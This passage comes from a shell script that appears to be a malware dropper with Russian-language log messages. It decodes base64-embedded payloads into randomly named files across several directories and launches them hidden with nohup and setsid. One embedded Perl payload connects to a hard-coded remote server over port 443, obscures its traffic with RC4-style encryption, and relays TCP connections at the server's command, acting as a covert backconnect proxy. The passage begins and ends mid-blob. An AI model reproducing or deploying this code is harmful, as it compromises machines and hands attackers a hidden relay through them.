JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #11 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #11 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 12 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNjknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ 